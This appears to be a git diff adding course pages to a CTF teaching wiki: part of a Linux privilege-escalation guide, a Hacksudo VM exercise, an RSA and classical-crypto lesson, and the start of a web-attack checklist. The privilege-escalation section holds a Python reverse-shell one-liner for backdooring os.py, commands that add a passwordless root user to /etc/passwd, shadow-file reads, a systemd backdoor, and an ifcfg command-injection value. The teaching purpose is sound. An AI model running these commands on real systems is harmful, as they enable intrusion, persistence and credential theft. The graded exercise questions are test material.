  • +
  • PermitEmptyPasswords: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is no.
  • +
+

PermitRootLogin

+

Specifies whether root can log in using ssh, default is no. Possible values:

+
    +
  • yes : root can login using password and private key
  • +
  • without-password or prohibit-password: root can only login with private key
  • +
  • forced-commands-only: Root can login only using privatekey cand if the commands options is specified
  • +
  • no : no
  • +
+

AuthorizedKeysFile

+

Specifies files that contains the public keys that can be used for user authentication. I can contains tokens like %h , that will be replaced by the home directory. You can indicate absolute paths (starting in /) or relative paths from the users home. For example:

+
AuthorizedKeysFile    .ssh/authorized_keys access
+
+

That configuration will indicate that if you try to login with the private key of the user "testusername" ssh is going to compare the public key of your key with the ones located in /home/testusername/.ssh/authorized_keys and /home/testusername/access

+

ForwardAgent/AllowAgentForwarding

+

SSH agent forwarding allows you to use your local SSH keys instead of leaving keys (without passphrases!) sitting on your server. So, you will be able to jump via ssh to a host and from there jump to another host using the key located in your initial host.

+

You need to set this option in $HOME/.ssh.config like this:

+
Host example.com
+  ForwardAgent yes
+
+

Notice that if Host is * every time the user jumps to a different machine that host will be able to access the keys (which is a security issue).

+

The file /etc/ssh_config can override this options and allow or denied this configuration. +The file /etc/sshd_config can allow or denied ssh-agent forwarding with the keyword AllowAgentForwarding (default is allow).

+

If you Forward Agent configured in an environment check here how to exploit it to escalate privileges.

+

Interesting Files

+

Profiles files

+

The file /etc/profile and the files under /etc/profile.d/ are scripts that are executed when a user run a new shell. Therefore, if you can write or modify any of the you can escalate privileges.

+
ls -l /etc/profile /etc/profile.d/
+
+

If any weird profile script is found you should check it for sensitive details.

+

Passwd/Shadow Files

+

Depending on the OS the /etc/passwd and /etc/shadow files may be using a different name or there may be a backup. Therefore it's recommended find all of hem and check if you can read them and check if there are hashes inside the files:

+
#Passwd equivalent files
+cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
+#Shadow equivalent files
+cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
+
+

In some occasions you can find password hashes inside the /etc/passwd (or equivalent) file

+
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
+
+

Writable /etc/passwd

+

First generate a password with one of the following commands.

+
openssl passwd -1 -salt hacker hacker
+mkpasswd -m SHA-512 hacker
+python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
+
+

Then add the user hacker and add the generated password.

+
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
+
+

E.g: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

+

You can now use the su command with hacker:hacker

+

Alternatively you can use the following lines to add a dummy user without a password. +WARNING: you might degrade the current security of the machine.

+
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
+su - dummy
+
+

NOTE: In BSD platforms /etc/passwd is located at /etc/pwd.db and /etc/master.passwd, also the /etc/shadow is renamed to /etc/spwd.db.

+

You should check if you can write in some sensitive file. For example, can you write to some service configuration file?

+
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
+for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
+
+

For example, if the machine is running a tomcat server and you can modify the Tomcat service configuration file inside /etc/systemd/, then you can modify the lines:

+
ExecStart=/path/to/backdoor
+User=root
+Group=root
+
+

Your backdoor will be executed the next time that tomcat is started.

+

Check Folders

+

The following folders may contain backups or interesting information: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Probably you won't be able to read the last one but try)

+
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
+
+

Weird Location/Owned files

+
#root owned files in /home folders
+find /home -user root 2>/dev/null
+#Files owned by other users in folders owned by me
+for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
+#Files owned by root, readable by me but no world readable
+find / -type f -user root ! -perm -o=r 2>/dev/null
+#Files owned by me or world writable
+find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
+#Writable files by each group I belong to
+for g in `groups`;
+      do printf "  Group $g:\n";
+      find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
+      done
+done
+
+

Modified files in last mins

+
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
+
+

Sqlite DB files

+
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
+
+

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files

+
fils=`find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null`Hidden files
+
+

Hidden files

+
find / -type f -iname ".*" -ls 2>/dev/null
+
+

Script/Binaries in PATH

+
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
+for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done
+
+

Web files

+
ls -alhR /var/www/ 2>/dev/null
+ls -alhR /srv/www/htdocs/ 2>/dev/null
+ls -alhR /usr/local/www/apache22/data/
+ls -alhR /opt/lampp/htdocs/ 2>/dev/null
+
+

Backups

+
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/nulll
+
+

Known files containing passwords

+

Read the code of linPEAS, it searches for several possible files that could contain passwords. +Other interesting tool that you can use to do so is: LaZagne which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac.

+

Logs

+

If you can read logs, you may be able to find interesting/confidential information inside of them. The more strange the log is, the more interesting will be (probably). +Also, some "bad" configured (backdoored?) audit logs may allow you to record passwords inside audit logs as explained in this post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

+
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
+grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
+
+

In order to read logs the group adm will be really helpful.

+

Shell files

+
~/.bash_profile # if it exists, read once when you log in to the shell
+~/.bash_login # if it exists, read once if .bash_profile doesn't exist
+~/.profile # if it exists, read once if the two above don't exist
+/etc/profile # only read if none of the above exist
+~/.bashrc # if it exists, read every time you start a new shell
+~/.bash_logout # if it exists, read when the login shell exits
+~/.zlogin #zsh shell
+~/.zshrc #zsh shell
+
+

Generic Creds Search/Regex

+

You should also check for files containing the word "password" in it's name or inside the content, also check for IPs and emails inside logs, or hashes regexps. +I'm not going to list here how to do all of this but if you are interested you can check the last checks that linpeas perform.

+

Writable files

+

Python library hijacking

+

If you know from where a python script is going to be executed and you can write inside that folder or you can modify python libraries, you can modify the os library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library).

+

To backdoor the library just add at the end of the os.py library the following line (change IP and PORT):

+
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
+
+

Logrotate exploitation

+

There is a vulnerability on logrotatethat allows a user with write permissions over a log file or any of its parent directories to make logrotatewrite a file in any location. If logrotate is being executed by root, then the user will be able to write any file in /etc/bash_completion.d/ that will be executed by any user that login. +So, if you have write perms over a log file or any of its parent folder, you can privesc (on most linux distributions, logrotate is executed automatically once a day as user root). Also, check if apart of /var/log there are more files being rotated.

+

This vulnerability affects logrotate version 3.15.1 and below

+

More detailed information about the vulnerability can be found in this page: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

+

You can exploit this vulnerability with logrotten.

+

This vulnerability is very similar to CVE-2016-1247 (nginx logs), so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks.

+

/etc/sysconfig/network-scripts/ (Centos/Redhat)

+

If, for whatever reason, a user is able to write an ifcf-<whatever> script to /etc/sysconfig/network-scripts or it can adjust an existing one, then your system is pwned.

+

Network scripts, ifcg-eth0 for example are used for network connections. The look exactly like .INI files. However, they are ~~sourced~~ on Linux by Network Manager (dispatcher.d).

+

In my case, the NAME= attributed in these network scripts is not handled correctly. If you have white/blank space in the name the system tries to execute the part after the white/blank space. Which means; everything after the first blank space is executed as root.

+

For example: /etc/sysconfig/network-scripts/ifcfg-1337

+
NAME=Network /bin/id
+ONBOOT=yes
+DEVICE=eth0
+
+

(Note the black space between Network and /bin/id)

+

Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

+

init, init.d, systemd, and rc.d

+

/etc/init.d contains scripts used by the System V init tools (SysVinit). This is the traditional service management package for Linux, containing the init program (the first process that is run when the kernel has finished initializing¹) as well as some infrastructure to start and stop services and configure them. Specifically, files in /etc/init.d are shell scripts that respond to start, stop, restart, and (when supported) reload commands to manage a particular service. These scripts can be invoked directly or (most commonly) via some other trigger (typically the presence of a symbolic link in /etc/rc?.d/). (From here) +Other alternative to this folder is /etc/rc.d/init.d in Redhat

+

/etc/init contains configuration files used by Upstart. Upstart is a young service management package championed by Ubuntu. Files in /etc/init are configuration files telling Upstart how and when to start, stop, reload the configuration, or query the status of a service. As of lucid, Ubuntu is transitioning from SysVinit to Upstart, which explains why many services come with SysVinit scripts even though Upstart configuration files are preferred. In fact, the SysVinit scripts are processed by a compatibility layer in Upstart. (From here)

+

systemd is a Linux initialization system and service manager that includes features like on-demand starting of daemons, mount and automount point maintenance, snapshot support, and processes tracking using Linux control groups. systemd provides a logging daemon and other tools and utilities to help with common system administration tasks. (From here) +Files that ships in packages downloaded from distribution repository go into /usr/lib/systemd/. Modifications done by system administrator (user) go into /etc/systemd/system/.

+

Other Tricks

+

NFS Privilege escalation

+

https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe

+

Escaping from restricted Shells

+

https://book.hacktricks.xyz/linux-unix/privilege-escalation/escaping-from-limited-bash

+

Cisco - vmanage

+

https://book.hacktricks.xyz/linux-unix/privilege-escalation/cisco-vmanage

+

Kernel Security Protections

+
    +
  • https://github.com/a13xp0p0v/kconfig-hardened-check
  • +
  • https://github.com/a13xp0p0v/linux-kernel-defence-map
  • +
+

More help

+

Static impacket binaries

+

Linux/Unix Privesc Tools

+

Best tool to look for Linux local privilege escalation vectors: LinPEAS

+

LinEnum: https://github.com/rebootuser/LinEnum(-t option) +Enumy: https://github.com/luke-goddard/enumy +Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check +Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py +BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux +Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop +Mestaploit: multi/recon/local_exploit_suggester +Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester +EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail +Recopilation of more scripts: https://gh-dark.rauchg.now.sh/1N3/PrivEsc/tree/master/linux

+

Bibliography

+

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ +https://payatu.com/guide-linux-privilege-escalation/ +https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744 +http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html +https://touhidshaikh.com/blog/?p=827 +https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf +https://github.com/frizb/Linux-Privilege-Escalation +https://github.com/lucyoa/kernel-exploits +https://github.com/rtcrowley/linux-private-i

+

Exercise

+

(10 pt) Hacksudo

+

In this challenge, you need to download the following virtual machine to finish the challenges.

+

The box was created with Virtualbox. Upon booting up use netdiscover tool to find the IP address. This is the target address based on whatever settings you have. You should verify the address just in case.

+

You don't need to answer all questions in order. Skip some questions may not affect the next steps.

+

Download: https://mega.nz/file/ix9VnA7Y#7LM1LXBta_kAeNrajXGkQhmwfbr5fIaQHykkWEPBjZY

+

Mirror: https://pan.baidu.com/s/1D-YEa6cr3rcWXv49HgZtSw (Code: 1337)

+

Setup

+

Environment setup should use VirtualBox history version (VirtualBox 6.1.28 has a bug with Hyper-V, I used VirtualBox 6.0.24 and worked properly). You should setup Network as the following:

+

img

+

The virtual image should enter the following promption:

+
Debian GNU/Linux 10 hacksudo fog tty1
+eth0: 192.168.xx.xxx
+hacksudo login: _
+
+

The second line is the ip address of virtual machine.

+

Open your web browser, you can find this page in VM's ip address:

+

img

+

You are done with configuration, now you can hack the machine and solve the challenges!

+

If the ip address hasn't shown up, you can find it as below:

+

Open you terminal (powershell.exe in Windows), and use ipconfig /all to find your Host-only NET ip address.

+

img

+

Use any tool to scan the ip 192.168.xx.0/24 and you can find the virtual machine ip address. Otherwise, you can also use arp -a to find your Host-only Network address, and usually VM's ip address is followed.

+

img

+

(1 pt) Port scan

+

After the port scan, you should find several services running in the box. What's the version of the mysql service?

+

Answer: x.x.x-xx.x.xx-MariaDB-x+debxxxx (replace all x to your answer)

+

Hint: you can use nmap for port scanning.

+

(1 pt) Web source code

+

Access the website on port 80. You can find here's some hint for the subsequent steps. What's the GitHub repo address you found in the source code?

+

Answer: https://github.com/xxxxxxxx/xxxxxxxxxxx (replace all x to your answer)

+

Hint: press F12 on the keyboard to open the Developer's Tools to view the source code (may vary for different browsers).

+

(1 pt) Web directory discover

+

Using web directory scanning, you can find a txt file under the website. What's the name of this txt file?

+

Answer: xxxx.txt (replace all x to your answer)

+

Hint: gobuster and dirbuster are both good web directory/file discovery tools.

+

(1 pt) CMS vulnerability

+

The CMS used in the website is CMS-MadeSimple. However, this CMS can be vulnerable in some versions. What's the version of CMS?

+

Answer: x.x.x (replace all x to your answer)

+

Hint: you can use whatweb to find out the version of services.

+

(1 pt) Exploit CMS

+

Now, using the vulnerability to find the username and the hashed password of the CMS. It's hard to break the hash string, but you can use this username to break other services on the server. The txt file you found above would help you to get the password for the ftp service on port 21.

+

What's the password (in plain text)?

+

Answer: xxxxxx (replace all x to your answer)

+

Hint: hydra is a widely used tool for password cracking.

+

(1 pt) FTP and unzip

+

Using the previous username and password, you can log into the FTP server. You may notice there's a zip file on the server. You need to break the password of the zip file.

+

What's the password for the zip file?

+

Answer: xxxxxx (replace all x to your answer)

+

Hint: to crack the password of the zip files, you can check JohnTheRipper.

+

(1 pt) Caesar Cipher

+

After extracting the hacksudoSTEGNO.wav, you need to find what's inside this file. Recall what you've got till now, and find the CMS password.

+

What's the password for CMS?

+

Answer: xxxxxxxxxxxx (replace all x to your answer)

+

Hint: CyberChef contains many useful cryptography tools.

+

(1 pt) Upload RCE script

+

You've got the CMS! Now you can enjoy accessing all website pages and put your files on the website. Why not let us dig deeper?

+

Upload a PHP script to give you shell access.

+

What's the first line of flag2.txt on the server?

+

Answer: xxx xxxxxxxxxxxx xxxxx xxx xxx xxx xxxxx xxxxxx!!! (replace all x to your answer)

+

Hint: here are some upload limits on the server. Find out how to bypass them.

+

Hint: after uploading your RCE script, you can generate a reversed shell to get a pty shell (which would simplify your next steps).

+

(1 pt) Local privilege escalation

+

User isro is your first target. Attack and switch to user isro. View the files of isro. What's the content of user.txt?

+

Answer: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (replace all x to your answer)

+

Hint: /etc/shadow is a sensitive file and may contain a user hashed password.

+

(1 pt) Root privilege escalation

+

The final step: get root privilege. What's the content in the root.txt?

+

Answer: flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx} (replace all x to your answer)

+

Hint: sudo has some suid things and you should take a look at them.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/Week 11/index.html b/CS315/2021/Week 11/index.html new file mode 100644 index 000000000..38e88a082 --- /dev/null +++ b/CS315/2021/Week 11/index.html @@ -0,0 +1,8992 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Week11 CRYPTO: Public Key Crypto Attacking - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Week11 CRYPTO: Public Key Crypto Attacking

+

According to the @CTF101: https://ctf101.org/

+

Cryptography is the reason we can use banking apps, transmit sensitive information over the web, and in general protect our privacy. However, a large part of CTFs is breaking widely used encryption schemes which are improperly implemented. The math may seem daunting, but more often than not, a simple understanding of the underlying principles will allow you to find flaws and crack the code.

+

The word “cryptography” technically means the art of writing codes. When it comes to digital forensics, it’s a method you can use to understand how data is constructed for your analysis.

+

What is cryptography used for?

+

Uses in every day software

+
    +
  • Securing web traffic (passwords, communication, etc.)
  • +
  • Securing copyrighted software code
  • +
+

Malicious uses

+
    +
  • Hiding malicious communication
  • +
  • Hiding malicious code
  • +
+

Topics

+
    +
  • XOR
  • +
  • Cesear Cipher
  • +
  • Substitution Cipher
  • +
  • Vigenere Cipher
  • +
  • Hashing Functions
  • +
  • RSA
  • +
+

XOR

+

Data Representation

+

Data can be represented in different bases, an 'A' needs to be a numerical representation of Base 2 or binary so computers can understand them

+

Data Representation

+

XOR Basics

+

An XOR or eXclusive OR is a bitwise operation indicated by ^ and shown by the following truth table:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ABA ^ B
000
011
101
110
+

So what XOR'ing bytes in the action 0xA0 ^ 0x2C translates to is:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
10100000
00101100
+ + + + + + + + + + + + + + + + + + + + + + + + + +
10001100
+
0b10001100` is equivelent to `0x8C`, a cool property of XOR is that it is reversable meaning `0x8C ^ 0x2C = 0xA0` and `0x8C ^ 0xA0 = 0x2C
+
+

XOR Basics

+

What does this have to do with CTF?

+

XOR is a cheap way to encrypt data with a password. Any data can be encrypted using XOR as shown in this Python example:

+
>>> data = 'CAPTURETHEFLAG'
+>>> key = 'A'
+>>> encrypted = ''.join([chr(ord(x) ^ ord(key)) for x in data])
+>>> encrypted
+'\x02\x00\x11\x15\x14\x13\x04\x15\t\x04\x07\r\x00\x06'
+>>> decrypted = ''.join([chr(ord(x) ^ ord(key)) for x in encrypted])
+>>> decrypted
+'CAPTURETHEFLAG'
+
+

This can be extended using a multibyte key by iterating in parallel with the data.

+

Exploiting XOR Encryption

+

Single Byte XOR Encryption

+

Single Byte XOR Encryption is trivial to bruteforce as there are only 255 key combinations to try.

+

Multibyte XOR Encryption

+

Multibyte XOR gets exponentially harder the longer the key, but if the encrypted text is long enough, character frequency analysis is a viable method to find the key. Character Frequency Analysis means that we split the cipher text into groups based on the number of characters in the key. These groups then are bruteforced using the idea that some letters appear more frequently in the english alphabet than others.

+

Substitution Cipher

+

A Substitution Cipher is system of encryption where different symobls substitute a normal alphabet.

+

Substitution Cipher

+

Caesar Cipher/ROT 13

+

The Caesar Cipher or Caesar Shift is a cipher which uses the alphabet in order to encode texts.

+
CAESAR` encoded with a shift of 8 is `KIMAIZ` so `ABCDEFGHIJKLMNOPQRSTUVWXYZ` becomes `IJKLMNOPQRSTUVWXYZABCDEFGH
+
+

ROT13 is the same thing but a fixed shift of 13, this is a trivial cipher to bruteforce because there are only 25 shifts.

+

Caesar Cipher

+

Vigenere Cipher

+

A Vigenere Cipher is an extended Caesar Cipher where a message is encrypted using various Caesar shifted alphabets.

+

The following table can be used to encode a message: Vigenere Square

+

Encryption

+

For example, encrypting the text SUPERSECRET with CODE would follow this process:

+
    +
  1. CODE gets padded to the length of SUPERSECRET so the key becomes CODECODECOD
  2. +
  3. For each letter in SUPERSECRET we use the table to get the Alphabet to use, in this instance row C and column S
  4. +
  5. The ciphertext's first letter then becomes U
  6. +
  7. We eventually get UISITGHGTSW
  8. +
+

Decryption

+
    +
  1. Go to the row of the key, in this case C
  2. +
  3. Find the letter of the cipher text in this row, in this case U
  4. +
  5. The column is the first letter of the decrypted ciphertext, so we get S
  6. +
  7. After repeating this process we get back to SUPERSECRET
  8. +
+

Hashing Functions

+

Hashing functions are one way functions which theoretically provide a unique output for every input. MD5, SHA-1, and other hashes which were considered secure are now found to have collisions or two different pieces of data which produce the same supposed unique output.

+

String Hashing

+

A string hash is a number or string generated using an algorithm that runs on text or data.

+

The idea is that each hash should be unique to the text or data (although sometimes it isn’t). For example, the hash for “dog” should be different from other hashes.

+

You can use command line tools tools or online resources such as this one. Example: $ echo -n password | md5 5f4dcc3b5aa765d61d8327deb882cf99 Here, “password” is hashed with different hashing algorithms:

+
    +
  • SHA-1: 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8
  • +
  • SHA-2: 5E884898DA28047151D0E56F8DC6292773603D0D6AABBDD62A11EF721D1542D8
  • +
  • MD5: 5F4DCC3B5AA765D61D8327DEB882CF99
  • +
  • CRC32: BBEDA74F
  • +
+

Generally, when verifying a hash visually, you can simply look at the first and last four characters of the string.

+

File Hashing

+

A file hash is a number or string generated using an algorithm that is run on text or data. The premise is that it should be unique to the text or data. If the file or text changes in any way, the hash will change.

+

What is it used for? - File and data identification - Password/certificate storage comparison

+

How can we determine the hash of a file? You can use the md5sum command (or similar).

+
$ md5sum samplefile.txt
+3b85ec9ab2984b91070128be6aae25eb samplefile.txt
+
+

Hash Collisions

+

A collision is when two pieces of data or text have the same cryptographic hash. This is very rare.

+

What’s significant about collisions is that they can be used to crack password hashes. Passwords are usually stored as hashes on a computer, since it’s hard to get the passwords from hashes.

+

Password to Hash

+

If you bruteforce by trying every possible piece of text or data, eventually you’ll find something with the same hash. Enter it, and the computer accepts it as if you entered the actual password.

+

Two different files on the same hard drive with the same cryptographic hash can be very interesting.

+

“It’s now well-known that the cryptographic hash function MD5 has been broken,” said Peter Selinger of Dalhousie University. “In March 2005, Xiaoyun Wang and Hongbo Yu of Shandong University in China published an article in which they described an algorithm that can find two different sequences of 128 bytes with the same MD5 hash.”

+

For example, he cited this famous pair:

+

Password to Hash

+

and

+

Password to Hash

+

Each of these blocks has MD5 hash 79054025255fb1a26e4bc422aef54eb4.

+

Selinger said that “the algorithm of Wang and Yu can be used to create files of arbitrary length that have identical MD5 hashes, and that differ only in 128 bytes somewhere in the middle of the file. Several people have used this technique to create pairs of interesting files with identical MD5 hashes.”

+

Ben Laurie has a nice website that visualizes this MD5 collision. For a non-technical, though slightly outdated, introduction to hash functions, see Steve Friedl’s Illustrated Guide. And here’s a good article from DFI News that explores the same topic.

+

RSA

+

RSA, which is an abbreviation of the author's names (Rivest–Shamir–Adleman), is a cryptosystem which allows for asymmetric encryption. Asymmetric cryptosystems are alos commonly referred to as Public Key Cryptography where a public key is used to encrypt data and only a secret, private key can be used to decrypt the data.

+

Definitions

+
    +
  • The Public Key is made up of (n, e)
  • +
  • The Private Key is made up of (n, d)
  • +
  • The message is represented as m and is converted into a number
  • +
  • The encrypted message or ciphertext is represented by c
  • +
  • p and q are prime numbers which make up n
  • +
  • e is the public exponent
  • +
  • n is the modulus and its length in bits is the bit length (i.e. 1024 bit RSA)
  • +
  • d is the private exponent
  • +
  • The totient λ(n) is used to compute d and is equal to the lcm(p-1, q-1), another definition for λ(n) is that λ(pq) = lcm(λ(p), λ(q))
  • +
+

What makes RSA viable?

+

If public n, public e, private d are all very large numbers and a message m holds true for 0 < m < n, then we can say:

+
+

(me)dm (mod n)

+
+

The triple equals sign in this case refers to modular congruence which in this case means that there exists an integer k such that (me)d = kn + m

+

RSA is viable because it is incredibly hard to find d even with m, n, and e because factoring large numbers is an arduous process.

+

Implementation

+

RSA follows 4 steps to be implemented: 1. Key Generation 2. Encryption 3. Decryption

+

Key Generation

+

We are going to follow along Wikipedia's small numbers example in order to make this idea a bit easier to understand.

+

In This example we are using Carmichael's totient function where λ(n) = lcm(λ(p), λ(q)), but Euler's totient function is perfectly valid to use with RSA. Euler's totient is φ(n) = (p − 1)(q − 1)

+
    +
  1. Choose two prime numbers such as:
  2. +
  3. p = 61 and q = 53
  4. +
  5. Find
  6. +
  7. n = pq = 3233
  8. +
  9. Calculate λ(n) = lcm(p-1, q-1)
  10. +
  11. λ(3233) = lcm(60, 52) = 780
  12. +
  13. Choose a public exponent such that 1 < e < λ(n) and is coprime (not a factor of) λ(n). The standard is most cases is 65537, but we will be using:
  14. +
  15. e = 17
  16. +
  17. Calculate d as the modular multiplicative inverse or in english find d such that: d x e mod λ(n) = 1
  18. +
  19. d x 17 mod 780 = 1
  20. +
  21. d = 413
  22. +
+

Now we have a public key of (3233, 17) and a private key of (3233, 413)

+

Encryption

+

With the public key, m can be encrypted trivially

+

The ciphertext is equal to me mod n or:

+

c = m^17 mod 3233

+

Decryption

+

With the private key, m can be decrypted trivially as well

+

The plaintext is equal to cd mod n or:

+

m = c^413 mod 3233

+

Exploitation

+

From the RsaCtfTool README

+
+

Attacks:

+
    +
  • Weak public key factorization
  • +
  • Wiener's attack
  • +
  • Hastad's attack (Small public exponent attack)
  • +
  • Small q (q < 100,000)
  • +
  • Common factor between ciphertext and modulus attack
  • +
  • Fermat's factorisation for close p and q
  • +
  • Gimmicky Primes method
  • +
  • Past CTF Primes method
  • +
  • Self-Initializing Quadratic Sieve (SIQS) using Yafu
  • +
  • Common factor attacks across multiple keys
  • +
  • Small fractions method when p/q is close to a small fraction
  • +
  • Boneh Durfee Method when the private exponent d is too small compared to the modulus (i.e d < n0.292)
  • +
  • Elliptic Curve Method
  • +
  • Pollards p-1 for relatively smooth numbers
  • +
  • Mersenne primes factorization
  • +
+
+

Exercise

+

(4 pt) Pseudo Random Primes

+

A wiser once said: "every number can be factored to the sum of primes."

+

Try to factor the number and find me some flag.

+

Checkpoint: what's the first 20 numbers in f(pow(10,6))? Find those numbers and gain 2 points.

+

Hint: try to convert enc into the binary.

+

main.py

+

(4 pt) GCD Oracle

+

Some oracle can get you LSB and help solve the challenge. Now break the number N with the GCD Oracle.

+

Byte

+

The number N has 8 bits at most. Oracle can give you 10 times of response and then you should give the value of N.

+

Solving this gives you the checkpoint for 2 points. But you can directly solve the second question and get 4 points.

+

nc ali.infury.org 10008

+

Full

+

The number N has 512 bits at most. If you solve this, don't need to solve the previous question.

+

Hint: you may need a script to solve the second question.

+

nc ali.infury.org 10007

+

main.py

+

(2 pt) RSA in the triangle

+

A modern public key encryption requires a key pair of 512 bytes usually. Sometimes I just confused about the private key. Therefore, I designed a "super secure" method to find me a private key.

+

Hint: find a faster way to calculate the triangle.

+

main.py

+

challenge.txt

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/Week 12/index.html b/CS315/2021/Week 12/index.html new file mode 100644 index 000000000..093677fc7 --- /dev/null +++ b/CS315/2021/Week 12/index.html @@ -0,0 +1,10182 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Week12 WEB: Attacking Websites - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Week12 WEB: Attacking Websites

+

According to @Hacktricks: https://book.hacktricks.xyz/

+

In every pentest web there is several hidden and obvious places that might be vulnerable. This post is meant to be a checklist to confirm that you have searched vulnerabilities in all the possible places.

+

Top 10 vulnerabilities

+

https://owasp.org/www-project-top-ten/

+
    +
  • Injection
  • +
  • Broken Authentication and Session Management
  • +
  • Sensitive Data Exposure
  • +
  • XML External Entity
  • +
  • Broken Access Control
  • +
  • Security Misconfiguration
  • +
  • Cross-Site Scripting
  • +
  • Insecure deserialization
  • +
  • Using Components With Known Vulnerabilities
  • +
  • Insufficient Logging and Monitoring
  • +
+

Proxies

+

Nowadays web applications usually uses some kind of intermediary proxies, those may be (ab)used to exploit vulnerabilities. These vulnerabilities need a vulnerable proxy to be in place, but they usually also need some extra vulnerability in the backend.

+ +

User input

+

Most of the web applications will allow users to input some data that will be processed later. +Depending on the structure of the data the server is expecting some vulnerabilities may or may not apply.

+

Reflected Values

+

If the introduced data may somehow being reflected in the response, the page might be vulnerable to several issues.

+ +

Some of the mentioned vulnerabilities requires special conditions, others just require the content to be reflected. You can find some interesting polygloths to test quickly the vulnerabilities in:

+

Reflecting Techniques - PoCs and Polygloths CheatSheet

+

XSS (Cross Site Scripting)

+

Methodology

+
    +
